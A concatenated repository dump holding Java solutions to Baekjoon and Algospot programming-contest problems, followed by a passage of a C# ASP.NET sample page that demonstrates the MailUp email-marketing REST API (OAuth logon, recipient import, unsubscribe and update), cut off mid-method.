Queue<String> puz_q = new ArrayDeque<>();
Queue<Integer> q = new ArrayDeque<>();
puz_q.add(start);
q.add(sx);
q.add(sy);
q.add(0);
int ret = -1;
while(!q.isEmpty()){
String puz = puz_q.remove();
int x = q.remove();
int y = q.remove();
int n = q.remove();
if(puz.equals(target)){
ret = n;
break;
}
for(int i = 0;i<4;i++){
int tx = x+dx[i];
int ty = y+dy[i];
if(tx<0 ||tx>=3||ty<0||ty>=3){
continue;
}
int idx = y*3+x;
int t_idx = ty*3 +tx;
sb = new StringBuilder(puz);
sb.setCharAt(idx,sb.charAt(t_idx));
sb.setCharAt(t_idx,'0');
String t_puz = sb.toString();
if(visited.contains(t_puz)){
continue;
}
visited.add(t_puz);
puz_q.add(t_puz);
q.add(tx);
q.add(ty);
q.add(n+1);
}
}
System.out.println(ret);
}
}
<file_sep>/baekjoon/2552/Main.java
import java.io.*;
import java.util.*;
import java.util.stream.*;
public class Main{
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
br.readLine();
String[] s = br.readLine().split(" ");
int[] conn = Arrays.stream(s)
.mapToInt(i->Integer.parseInt(i))
.toArray();
int n = conn.length;
int k = Integer.parseInt(br.readLine());
boolean[][] joints = new boolean[n+1][n+1];
for(int i = 0;i<n-1;i++){
for(int j = i+1;j<n;j++){
if(conn[i] > conn[j]){
joints[n-i][n-j] = true;
joints[n-j][n-i] = true;
}
}
}
int[] dp = new int[n+1];
int count = 1;
int lbn = 1;
dp[1] = 1;
count += dp[1];
for(int i = 2;i<=n;i++){
if(count>=k){
break;
}
dp[i] = 1;
for(int j = 1;j<i;j++){
if(!joints[i][j]){
dp[i] += dp[j];
}
}
count += dp[i];
lbn = i;
}
if(k>count){
System.out.println(-1);
return;
}
int ret = 1<<lbn-1;
for(int i = lbn-1;i>=1;i--){
if(!joints[i][lbn]){
if(count-dp[i] < k){
ret |= 1<<i-1;
lbn = i;
}else{
count-=dp[i];
}
}
}
System.out.println(ret);
}
}
<file_sep>/baekjoon/11726/Main.java
import java.io.*;
public class Main{
static int[] dp;
static int N;
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
N = Integer.parseInt(br.readLine());
dp = new int[N+1];
System.out.println(sol(0));
}
static int sol(int idx){
if(idx > N){
return 0;
}
if(idx == N){
return 1;
}
if(dp[idx] != 0){
return dp[idx];
}
int ret = (sol(idx+1) + sol(idx+2))%10007;
dp[idx] = ret;
return ret;
}
}
<file_sep>/algospot/NUMB3RS/Main.java
import java.util.*;
import java.io.*;
public class Main{
static int[][] map;
static double[][] prob;
static int n,d,p,t;
static int[] q;
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int TC = Integer.parseInt(br.readLine());
for(int tc = 0;tc<TC;tc++){
StringTokenizer st = new StringTokenizer(br.readLine());
n = Integer.parseInt(st.nextToken());
d = Integer.parseInt(st.nextToken());
p = Integer.parseInt(st.nextToken());
map = new int[n][n];
prob = new double[2][n];
for(int i = 0;i<n;i++){
st = new StringTokenizer(br.readLine());
for(int j = 0;j<n;j++){
map[i][j] = Integer.parseInt(st.nextToken());
}
}
t = Integer.parseInt(br.readLine());
q = new int[t];
st = new StringTokenizer(br.readLine());
for(int i = 0;i<t;i++){
q[i] = Integer.parseInt(st.nextToken());
}
prob[0][p] = 1;
for(int day = 0;day<d;day++){
prob[(day+1)%2] = prob[day%2].clone();
for(int idx = 0;idx<n;idx++){
sneak(idx,day);
}
}
for(int i:q){
System.out.print(String.format("%.8f",prob[d%2][i]));
System.out.print(" ");
}
System.out.println();
}
}
static void sneak(int idx,int day){
if(day == d){
return;
}
double p_prob = prob[day%2][idx];
int conn_n = 0;
for(int i = 0;i<n;i++){
if(map[i][idx] == 1){
conn_n++;
}
}
//주변 마을로 도망쳤을 확률.
//기존에 가지고있던 확률을 주변에 뿌려준다.
prob[(day+1)%2][idx] -= p_prob;
double now_prob = p_prob/conn_n;
for(int i = 0;i<n;i++){
if(map[i][idx] == 1){
prob[(day+1)%2][i] += now_prob;
//sneak(i,day+1,now_prob);
}
}
}
}
<file_sep>/algospot/OCR/Iter_Main.java
import java.util.*;
import java.io.*;
public class Main{
static int m,q;
static Map<String,Integer> w_indexes;
static String[] idx_to_word;
static double[] B;
static double[][] T,M;
static int[] seq;
static double[][] p_map;
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
StringTokenizer st = new StringTokenizer(br.readLine());
m = Integer.parseInt(st.nextToken());
q = Integer.parseInt(st.nextToken());
w_indexes = new HashMap<>();
idx_to_word = new String[m];
st = new StringTokenizer(br.readLine());
for(int i = 0;i<m;i++){
String s = st.nextToken();
idx_to_word[i] = s;
w_indexes.put(s,i);
}
B = new double[m];
st = new StringTokenizer(br.readLine());
for(int i = 0;i<m;i++){
B[i] = Double.parseDouble(st.nextToken());
}
T = new double[m][m];
for(int i = 0;i<m;i++){
st = new StringTokenizer(br.readLine());
for(int j = 0;j<m;j++){
T[i][j] = Double.parseDouble(st.nextToken());
}
}
M = new double[m][m];
for(int i = 0;i<m;i++){
st = new StringTokenizer(br.readLine());
for(int j = 0;j<m;j++){
M[i][j] = Double.parseDouble(st.nextToken());
}
}
StringBuilder sb = new StringBuilder();
for(int i = 0;i < q;i++){
st = new StringTokenizer(br.readLine());
int seq_n = Integer.parseInt(st.nextToken());
seq = new int[seq_n];
p_map = new double[seq_n][m];
for(int j = 0;j<seq_n;j++){
String s = st.nextToken();
seq[j] = w_indexes.get(s);
}
for(int j = 0;j<seq_n;j++){
int word = seq[j];
}
for(int di = 0;di<m;di++){
for(int si = 0;si<m;si++){
p_map[0][di] += B[di] * M[di][si];
}
}
for(int sqi = 0;sqi<seq_n-1;sqi++){
double[] tmp = new double[m];
for(int di = 0;di<m;di++){
for(int si = 0;si<m;si++){
tmp[di] += p_map[sqi][si] * T[si][di];
}
}
for(int di = 0;di<m;di++){
for(int si = 0;si<m;si++){
p_map[sqi+1][di] += tmp[si] * M[si][di];
}
}
}
List<Integer> ret = new ArrayList<>();
for(int sqi = 0;sqi<seq_n;sqi++){
int idx = 0;
for(int mi = 0;mi<m;mi++){
if(p_map[sqi][mi] > p_map[sqi][idx]){
idx = mi;
}
}
ret.add(idx);
}
for(int idx:ret){
sb.append(idx_to_word[idx])
.append(" ");
}
sb.deleteCharAt(sb.length()-1);
sb.append("\n");
}
sb.deleteCharAt(sb.length()-1);
System.out.print(sb);
}
static void print(){
for(int i = 0;i<seq.length;i++){
for(int j = 0;j<m;j++){
System.out.print(p_map[i][j]);
System.out.print(" ");
}
System.out.print("\n");
}
}
}
<file_sep>/baekjoon/IOseries/11021.java
import java.io.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int n = Integer.parseInt(br.readLine());
for(int i = 0;i<n;i++){
String[] s = br.readLine().split(" ");
int a = Integer.parseInt(s[0]);
int b = Integer.parseInt(s[1]);
System.out.println("Case #" + Integer.toString(i) + ": "+ Integer.toString(a+b));
}
}
}
<file_sep>/baekjoon/11662/Main.java
import java.util.*;
import java.io.*;
class Node{
public double x,y;
public Node(double X,double Y){
x = X;
y = Y;
}
public static double getDist(Node a, Node b){
double dx = Math.abs(a.x-b.x);
double dy = Math.abs(a.y-b.y);
return dx*dx + dy*dy;
}
public static Node getP(Node a,Node b){
return new Node((2*a.x+b.x)/3,(2*a.y+b.y)/3);
}
public static Node getQ(Node a,Node b){
return new Node((a.x+2*b.x)/3,(a.y+2*b.y)/3);
}
}
public class Main{
static Node a,b,c,d;
static Node minho_l,kangho_l,minho_r,kangho_r;
static Node minho_p,minho_q,kangho_p,kangho_q;
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int[] is = Arrays.stream(br.readLine().split(" "))
.mapToInt(i->Integer.parseInt(i))
.toArray();
a = new Node(is[0],is[1]);
b = new Node(is[2],is[3]);
c = new Node(is[4],is[5]);
d = new Node(is[6],is[7]);
minho_l = a;
minho_r = b;
kangho_l = c;
kangho_r = d;
while(
Node.getDist(minho_l,minho_r)>0.00000000000001 &&
Node.getDist(kangho_l,kangho_r)>0.0000000000001
){
minho_p = Node.getP(minho_l,minho_r);
kangho_p = Node.getP(kangho_l,kangho_r);
double p_dist = Node.getDist(minho_p,kangho_p);
minho_q = Node.getQ(minho_l,minho_r);
kangho_q = Node.getQ(kangho_l,kangho_r);
double q_dist = Node.getDist(minho_q,kangho_q);
if(p_dist > q_dist){
minho_l = minho_p;
kangho_l = kangho_p;
}else if(p_dist < q_dist){
minho_r = minho_q;
kangho_r = kangho_q;
}else{
minho_l = minho_p;
kangho_l = kangho_p;
minho_r = minho_q;
kangho_r = kangho_q;
}
}
double ret = Math.sqrt(Node.getDist(minho_l,kangho_l));
System.out.println(String.format("%.6f",ret));
}
}
<file_sep>/baekjoon/1759/Main.java
import java.util.*;
import java.io.*;
public class Main{
static char[] cs;
static boolean[] visited;
static int L,C;
static StringBuilder sb;
static char[] vowels = {'a','e','i','o','u'};
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
StringTokenizer st = new StringTokenizer(br.readLine());
L = Integer.parseInt(st.nextToken());
C = Integer.parseInt(st.nextToken());
cs = new char[C];
visited = new boolean[C];
st = new StringTokenizer(br.readLine());
for(int i = 0;i<C;i++){
cs[i] = st.nextToken().charAt(0);
}
Arrays.sort(cs);
sb = new StringBuilder();
sol(0,0);
}
static void sol(int idx,int len){
if(len == L){
int vowel_n = 0;
int cons_n = 0;
for(char c:sb.toString().toCharArray()){
boolean isVowel = false;
for(char vowel:vowels){
if(c == vowel){
isVowel = true;
}
}
if(isVowel){
vowel_n++;
}else{
cons_n++;
}
}
if(vowel_n>=1 && cons_n>=2){
System.out.println(sb);
}
return;
}
for(int i = idx;i<C;i++){
if(visited[i]){
continue;
}
visited[i] = true;
sb.append(cs[i]);
sol(i,len+1);
visited[i] = false;
sb.deleteCharAt(sb.length()-1);
}
}
}
<file_sep>/baekjoon/10872/Main.java
import java.util.*;
import java.io.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int N = Integer.parseInt(br.readLine());
int mul = 1;
while(N>0){
mul *= N;
N--;
}
System.out.println(mul);
}
}
<file_sep>/baekjoon/IOseries/default/Main.java
import java.io.*;
import java.util.*;
import java.util.stream.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
br.readLine();
String[] s = br.readLine().split(" ");
Integer[] ia = Arrays.stream(s)
.mapToInt(i->Integer.parseInt(i))
.boxed()
.toArray(Integer[]::new);
Integer mx = Arrays.stream(ia)
.max((a,b)->Integer.compare(a,b))
.orElse(0);
Integer mn = Arrays.stream(ia)
.min((a,b)->Integer.compare(a,b))
.orElse(0);
System.out.println(mn+ " " +mx );
}
}
<file_sep>/baekjoon/1261/Main.java
import java.util.*;
import java.io.*;
public class Main{
static int[][] map;
static int[][] cost;
static int[] dx = {1,0,-1,0};
static int[] dy = {0,1,0,-1};
static int M;
static int N;
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
StringTokenizer st = new StringTokenizer(br.readLine());
M = Integer.parseInt(st.nextToken());
N = Integer.parseInt(st.nextToken());
map = new int[N][M];
cost = new int[N][M];
for(int y = 0;y<N;y++){
for(int x = 0;x<M;x++){
map[y][x] = br.read()-'0';
cost[y][x] = Integer.MAX_VALUE;
}
br.read();
}
cost[0][0] = 0;
int ret = sol();
System.out.println(ret);
}
static int sol(){
PriorityQueue<Node> pq = new PriorityQueue<>((a,b)->a.cost-b.cost);
pq.add(new Node(0,0,0));
while(!pq.isEmpty()){
Node node = pq.poll();
for(int i = 0;i<4;i++){
int ty = node.y+dy[i];
int tx = node.x+dx[i];
if(tx<0||tx>=M||ty<0||ty>=N){
continue;
}
int tcost = node.cost+map[ty][tx];
if(cost[ty][tx] > tcost){
cost[ty][tx] = tcost;
pq.add(new Node(tx,ty,tcost));
}
}
}
return cost[N-1][M-1];
}
}
class Node{
public int x,y,cost;
public Node(int x,int y,int cost){
this.x = x;
this.y = y;
this.cost = cost;
}
}
| f5235318ab6f472d42653d0e51f10080a0bfbbbc | [
"Java"
] | 67 | Java | aprilgom/javaps | 5c58aa534725042975d6cbfc2869f1d274d1e38a | caf8f224f36969cf2aa31c427d73789109d6390b |
refs/heads/master | <repo_name>mailup/rest-samples-csharp<file_sep>/MailUpExample/Default.aspx.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Script.Serialization;
using System.Web.UI;
using System.Web.UI.WebControls;
using MailUpExample.Entity;
namespace MailUpExample
{
public partial class _Default : System.Web.UI.Page
{
String resultBlock = "<div class=\"spoiler-wrap disabled\">"
+ " <div class=\"spoiler-head\">{0}</div>"
+ " <div class=\"spoiler-body\">\n"
+ " <div class=\"form-group row\">"
+ " <div class=\"col-xs-2\">"
+ " <label>Verb</label>"
+ " <span class=\"form-control example-body\">{1}</span>"
+ " </div>\n"
+ " <div class=\"col-xs-2\">"
+ " <label>Content-Type</label>"
+ " <span class=\"form-control example-body\">{2}</span>"
+ " </div>\n"
+ " <div class=\"col-xs-2\">"
+ " <label>Endpoint</label>"
+ " <span class=\"form-control example-body\">{3}</span>"
+ " </div>\n"
+ " <div class=\"col-xs-6\">"
+ " <label>Path</label>"
+ " <span class=\"form-control example-body\">{4}</span>"
+ " </div>\n"
+ " </div>\n"
+ " <div class=\"form-group\">"
+ " <label>Body</label>"
+ " <div class=\"form-control example-body\">{5}</div>"
+ " </div>"
+ " <div class=\"well\">"
+ " <div class=\"form-group example-body\">"
+ " <label>Response</label>"
+ " <div>{6}</div>"
+ " </div>"
+ " </div>"
+ " </div>"
+ "</div>";
String successfullyAnswer = "<div class=\"successfullyAnswer\"><strong>{0}</strong></div>";
String errorAnswer = "<div class=\"errorAnswer\"><strong>{0}</strong></div>";
enum httpMethods
{
GET,
POST,
PUT,
DELETE
}
enum contentType
{
JSON,
XML
}
enum endPotint
{
Console,
MailStatistics
}
protected void Page_Load(object sender, EventArgs e)
{
pExampleResultBlock1String.InnerHtml = "";
pExampleResultBlock2String.InnerHtml = "";
pExampleResultBlock3String.InnerHtml = "";
pExampleResultBlock4String.InnerHtml = "";
pExampleResultBlock5String.InnerHtml = "";
pExampleResultBlock6String.InnerHtml = "";
pExampleResultBlock7String.InnerHtml = "";
pExampleResultBlock8String.InnerHtml = "";
// This "code" parameter is used when called back from MailUp logon.
// Need to complete logging on by retreiving the access token.
MailUp.MailUpClient mailUp = (MailUp.MailUpClient)Session["MailUpClient"];
if (Request.Params["code"] != null)
{
// if (mailUp != null && mailUp.AccessToken == null)
if (mailUp != null)
{
String token = mailUp.RetreiveAccessToken(Request.Params["code"]);
}
}
if (mailUp != null && mailUp.AccessToken != null)
{
pAuthorizationStatus.InnerText = "Authorized";
pAuthorizationToken.InnerText = "Token: " + mailUp.AccessToken;
pExpirationTime.InnerText = mailUp.ExpirationTime;
}
else
{
pAuthorizationStatus.InnerText = "Unauthorized";
pAuthorizationToken.InnerText = "";
}
if (!IsPostBack)
{
lstVerb.DataSource = new String[] { "GET", "POST", "PUT", "DELETE" };
lstVerb.DataBind();
lstContentType.DataSource = new String[] { "JSON", "XML" };
lstContentType.DataBind();
lstEndpoint.DataSource = new String[] { "Console", "MailStatistics" };
lstEndpoint.DataBind();
}
}
// Sign in button - redirects to MailUp Logon page.
protected void LogOn_ServerClick(object sender, EventArgs e)
{
MailUp.MailUpClient mailUp = (MailUp.MailUpClient)Session["MailUpClient"];
if (mailUp != null) mailUp.LogOn();
}
// Sign in button - get tokens with password flow.
protected void LogOnWithUsernamePassword_ServerClick(object sender, EventArgs e)
{
MailUp.MailUpClient mailUp = (MailUp.MailUpClient)Session["MailUpClient"];
if (mailUp != null) mailUp.LogOnWithUsernamePassword(txtUsr.Text, txtPwd.Text);
if (mailUp != null && mailUp.AccessToken != null)
{
pAuthorizationStatus.InnerText = "Authorized";
pAuthorizationToken.InnerText = "Token: " + mailUp.AccessToken;
pExpirationTime.InnerText = mailUp.ExpirationTime;
}
else
{
pAuthorizationStatus.InnerText = "Unauthorized";
pAuthorizationToken.InnerText = "";
}
}
protected void RefreshToken_ServerClick(object sender, EventArgs e)
{
MailUp.MailUpClient mailUp = (MailUp.MailUpClient)Session["MailUpClient"];
if (mailUp != null && mailUp.RefreshToken != null)
{
mailUp.RefreshAccessToken();
pAuthorizationToken.InnerText = "Token: " + mailUp.AccessToken;
pExpirationTime.InnerText = mailUp.ExpirationTime;
}
else
{
pAuthorizationStatus.InnerText = "Unauthorized";
pAuthorizationToken.InnerText = "";
}
}
// Call method button - calls a single API method.
protected void CallMethod_ServerClick(object sender, EventArgs e)
{
MailUp.MailUpClient mailUp = (MailUp.MailUpClient)Session["MailUpClient"];
try
{
if (mailUp != null)
{
String resourceURL = "" + (lstEndpoint.SelectedValue == endPotint.Console.ToString() ? mailUp.ConsoleEndpoint + txtPath.Text : mailUp.MailstatisticsEndpoint + txtPath.Text);
String strResult = mailUp.CallMethod(resourceURL,
lstVerb.SelectedValue,
txtBody.Text,
lstContentType.SelectedValue == contentType.JSON.ToString() ? MailUp.ContentType.Json : MailUp.ContentType.Xml);
pResultString.InnerText = txtPath.Text + " returned: " + strResult;
}
}
catch (MailUp.MailUpException ex)
{
pResultString.InnerText = "Exception: " + ex.Message + " with HTTP Status code: " + ex.StatusCode;
}
}
// EXAMPLE 1 - IMPORT RECIPIENTS INTO NEW GROUP
protected void RunExample1_ServerClick(object sender, EventArgs e)
{
String responseMessage = "";
MailUp.MailUpClient mailUp = (MailUp.MailUpClient)Session["MailUpClient"];
try
{
if (mailUp != null)
{
// List ID = 1 is used in all example calls
String resourceURL = "";
String apiUrl = "";
String strResult = "";
Object objResult;
Dictionary<String, Object> items = new Dictionary<String, Object>();
// Given a default list id (use idList = mailUp.ListId), request for user visible groups
apiUrl = "/Console/List/" + mailUp.ListId + "/Groups";
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
strResult = mailUp.CallMethod(resourceURL,
httpMethods.GET.ToString(),
null,
MailUp.ContentType.Json);
objResult = new JavaScriptSerializer().DeserializeObject(strResult);
items = (Dictionary<String, Object>)objResult;
Object[] groups = (Object[])items["Items"];
int groupId = -1;
foreach (Dictionary<String, Object> group in groups)
{
Object name = group["Name"];
if ("test import".Equals(name)) groupId = int.Parse(group["idGroup"].ToString());
}
// status += String.Format("<p>Given a default list id (use idList = 1), request for user visible groups<br/>{0} {1} - OK</p>", httpMethods.GET.ToString(), resourceURL);
responseMessage = "Given a default list id (use idList = " + mailUp.ListId + "), request for user visible groups";
pExampleResultBlock1String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.GET.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, "", strResult);
// If the list does not contain a group named “test import”, create it
String request = "";
if (groupId == -1)
{
groupId = 100;
apiUrl = "/Console/List/" + mailUp.ListId + "/Group";
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
String groupRequest = "{\"Deletable\":true,\"Name\":\"test import\",\"Notes\":\"test import\"}";
request = groupRequest;
strResult = mailUp.CallMethod(resourceURL,
httpMethods.POST.ToString(),
groupRequest,
MailUp.ContentType.Json);
objResult = new JavaScriptSerializer().DeserializeObject(strResult);
items = (Dictionary<String, Object>)objResult;
groups = (Object[])items["Items"];
foreach (Dictionary<String, Object> group in groups)
{
Object name = group["Name"];
if ("test import".Equals(name))
groupId = int.Parse(group["idGroup"].ToString());
}
}
Session["groupId"] = groupId;
// status += String.Format("<p>If the list does not contain a group named “test import”, create it<br/>{0} {1} - OK</p>", httpMethods.POST.ToString(), resourceURL);
responseMessage = "If the list does not contain a group named “test import”, create it";
pExampleResultBlock1String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.POST.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, request, strResult);
// Request for dynamic fields to map recipient name and surname
apiUrl = "/Console/Recipient/DynamicFields";
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
strResult = mailUp.CallMethod(resourceURL,
httpMethods.GET.ToString(),
null,
MailUp.ContentType.Json);
// status += String.Format("<p>Request for dynamic fields to map recipient name and surname<br/>{0} {1} - OK</p>", httpMethods.GET.ToString(), resourceURL);
responseMessage = "Request for dynamic fields to map recipient name and surname";
pExampleResultBlock1String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.GET.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, "", strResult);
// Import recipients to group
apiUrl = "/Console/Group/" + groupId + "/Recipients";
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
String recipientRequest = "[{\"Email\":\"<EMAIL>\",\"Fields\":[{\"Description\":\"String description\",\"Id\":1,\"Value\":\"String value\"}]," +
"\"MobileNumber\":\"\",\"MobilePrefix\":\"\",\"Name\":\"<NAME>\"}]";
strResult = mailUp.CallMethod(resourceURL,
httpMethods.POST.ToString(),
recipientRequest,
MailUp.ContentType.Json);
int importId = int.Parse(strResult);
// status += String.Format("<p>Import recipients to group.<br />{0} {1} - OK<p>", httpMethods.GET.ToString(), resourceURL);
responseMessage = "Import recipients to group";
pExampleResultBlock1String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.POST.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, recipientRequest, strResult);
// Check the import result
apiUrl = "/Console/Import/" + importId;
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
strResult = mailUp.CallMethod(resourceURL,
httpMethods.GET.ToString(),
null,
MailUp.ContentType.Json);
// status += String.Format("<p>Check the import result.<br />{0} {1} - OK<p>", httpMethods.GET.ToString(), resourceURL);
responseMessage = "Check the import result";
pExampleResultBlock1String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.GET.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, "", strResult);
// status += "<p>Example methods completed successfully</p>";
pExampleResultBlock1String.InnerHtml += String.Format(successfullyAnswer, "Example methods completed successfully");
}
}
catch (MailUp.MailUpException ex)
{
// status += "Exception: " + ex.Message + " with HTTP Status code: " + ex.StatusCode + "<br/>";
pExampleResultBlock1String.InnerHtml += String.Format(errorAnswer, "Exception: " + ex.Message + " with HTTP Status code: " + ex.StatusCode);
}
}
// EXAMPLE 2 - UNSUBSCRIBE A RECIPIENT FROM A GROUP
protected void RunExample2_ServerClick(object sender, EventArgs e)
{
String status = "";
String responseMessage = "";
MailUp.MailUpClient mailUp = (MailUp.MailUpClient)Session["MailUpClient"];
pExampleResultBlock2String.InnerHtml = "";
try
{
if (mailUp != null)
{
// List ID = 1 is used in all example calls
String resourceURL = "";
String apiUrl = "";
String strResult = "";
Object objResult;
Dictionary<String, Object> items = new Dictionary<String, Object>();
// Request for recipient in a group
int groupId = -1;
if (Session["groupId"] != null) groupId = (int)Session["groupId"];
apiUrl = "/Console/Group/" + groupId + "/Recipients";
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
strResult = mailUp.CallMethod(resourceURL,
httpMethods.GET.ToString(),
null,
MailUp.ContentType.Json);
objResult = new JavaScriptSerializer().DeserializeObject(strResult);
// status += String.Format("<p>Request for recipient in a group<br/>{0} {1} - OK</p>", httpMethods.GET.ToString(), resourceURL);
responseMessage = "Request for recipient in a group";
pExampleResultBlock2String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.GET.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, "", strResult);
items = (Dictionary<String, Object>)objResult;
Object[] recipients = (Object[])items["Items"];
if (recipients.Length > 0)
{
Dictionary<String, Object> recipient = (Dictionary<String, Object>)recipients[0];
int recipientId = int.Parse(recipient["idRecipient"].ToString());
// Pick up a recipient and unsubscribe it
apiUrl = "/Console/Group/" + groupId + "/Unsubscribe/" + recipientId;
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
strResult = mailUp.CallMethod(resourceURL,
httpMethods.DELETE.ToString(),
null,
MailUp.ContentType.Json);
// status += String.Format("<p>Pick up a recipient and unsubscribe it<br/>{0} {1} - OK</p>", httpMethods.DELETE.ToString(), resourceURL);
responseMessage = "Pick up a recipient and unsubscribe it";
pExampleResultBlock2String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.DELETE.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, "", strResult);
}
// status += "<p>Example methods completed successfully</p>";
pExampleResultBlock2String.InnerHtml += String.Format(successfullyAnswer, "Example methods completed successfully");
}
}
catch (MailUp.MailUpException ex)
{
// status += "Exception: " + ex.Message + " with HTTP Status code: " + ex.StatusCode + "<br/>"
pExampleResultBlock2String.InnerHtml += String.Format(errorAnswer, "Exception: " + ex.Message + " with HTTP Status code: " + ex.StatusCode);
}
}
// EXAMPLE 3 - UPDATE A RECIPIENT DETAIL
protected void RunExample3_ServerClick(object sender, EventArgs e)
{
String status = "";
String responseMessage = "";
MailUp.MailUpClient mailUp = (MailUp.MailUpClient)Session["MailUpClient"];
pExampleResultBlock3String.InnerHtml = "";
try
{
if (mailUp != null)
{
// List ID = 1 is used in all example calls
String resourceURL = "";
String apiUrl = "";
String strResult = "";
Object objResult;
Dictionary<String, Object> items = new Dictionary<String, Object>();
// Request for existing subscribed recipients
apiUrl = "/Console/List/" + mailUp.ListId + "/Recipients/Subscribed";
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
strResult = mailUp.CallMethod(resourceURL,
httpMethods.GET.ToString(),
null,
MailUp.ContentType.Json);
objResult = new JavaScriptSerializer().DeserializeObject(strResult);
// status += String.Format("<p>Request for existing subscribed recipients<br/>{0} {1} - OK</p>", httpMethods.GET.ToString(), resourceURL);
responseMessage = "Request for existing subscribed recipients";
pExampleResultBlock3String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.GET.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, "", strResult);
items = (Dictionary<String, Object>)objResult;
Object[] recipients2 = (Object[])items["Items"];
if (recipients2.Length > 0)
{
Dictionary<String, Object> recipient = (Dictionary<String, Object>)recipients2[0];
Object[] fields = (Object[])recipient["Fields"];
if (fields.Length == 0)
{
Object[] arr = new Object[1];
Dictionary<String, Object> dict = new Dictionary<String, Object>();
dict["Id"] = 1;
dict["Value"] = "Updated value";
dict["Description"] = "";
arr[0] = dict;
recipient["Fields"] = arr;
}
else
{
Dictionary<String, Object> dict = (Dictionary<String, Object>)fields[0];
dict["Id"] = 1;
dict["Value"] = "Updated value";
dict["Description"] = "";
}
// status += "<p>Modify a recipient from the list - OK</p>";
responseMessage = "Modify a recipient from the list";
pExampleResultBlock3String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.GET.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, "", strResult);
// Update the modified recipient
String recipientRequest = new JavaScriptSerializer().Serialize(recipient);
apiUrl = "/Console/Recipient/Detail";
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
strResult = mailUp.CallMethod(resourceURL,
httpMethods.PUT.ToString(),
recipientRequest,
MailUp.ContentType.Json);
// status += String.Format("<p>Update the modified recipient<br/>{0} {1} - OK</p>", httpMethods.PUT.ToString(), resourceURL);
responseMessage = "Update the modified recipient";
pExampleResultBlock3String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.PUT.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, "", strResult);
}
// status += "<p>Example methods completed successfully</p>";
pExampleResultBlock3String.InnerHtml += String.Format(successfullyAnswer, "Example methods completed successfully");
}
}
catch (MailUp.MailUpException ex)
{
// status += "Exception: " + ex.Message + " with HTTP Status code: " + ex.StatusCode + "<br/>";
pExampleResultBlock3String.InnerHtml += String.Format(errorAnswer, "Exception: " + ex.Message + " with HTTP Status code: " + ex.StatusCode);
}
}
// EXAMPLE 4 - CREATE A MESSAGE FROM TEMPLATE
protected void RunExample4_ServerClick(object sender, EventArgs e)
{
String status = "";
String responseMessage = "";
MailUp.MailUpClient mailUp = (MailUp.MailUpClient)Session["MailUpClient"];
try
{
if (mailUp != null)
{
// List ID = 1 is used in all example calls
String resourceURL = "";
String apiUrl = "";
String strResult = "";
Object objResult;
Dictionary<String, Object> items = new Dictionary<String, Object>();
// Get the available template list
apiUrl = "/Console/List/" + mailUp.ListId + "/Templates";
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
strResult = mailUp.CallMethod(resourceURL,
httpMethods.GET.ToString(),
null,
MailUp.ContentType.Json);
objResult = new JavaScriptSerializer().DeserializeObject(strResult);
Dictionary<String, Object> template = (Dictionary<String, Object>)objResult;
Dictionary<String, Object> dictionaryItem;
int templateId = 0;
var arrItems = (Object[])template["Items"];
if (arrItems.Length > 0)
{
dictionaryItem = (Dictionary<String, Object>)arrItems[0];
templateId = (int)dictionaryItem["Id"];
// status += String.Format("<p>Get the available template list<br/>{0} {1} - OK</p>", httpMethods.GET.ToString(), resourceURL);
responseMessage = "Get the available template list";
pExampleResultBlock4String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.GET.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, "", strResult);
}
else
{
// status += String.Format("<p>Could not find any template to create a new message from<br/>{0} {1} - FAIL</p>", httpMethods.GET.ToString(), resourceURL);
responseMessage = "Could not find any template to create a new message from";
pExampleResultBlock4String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.GET.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, "", strResult);
}
// Create the new message
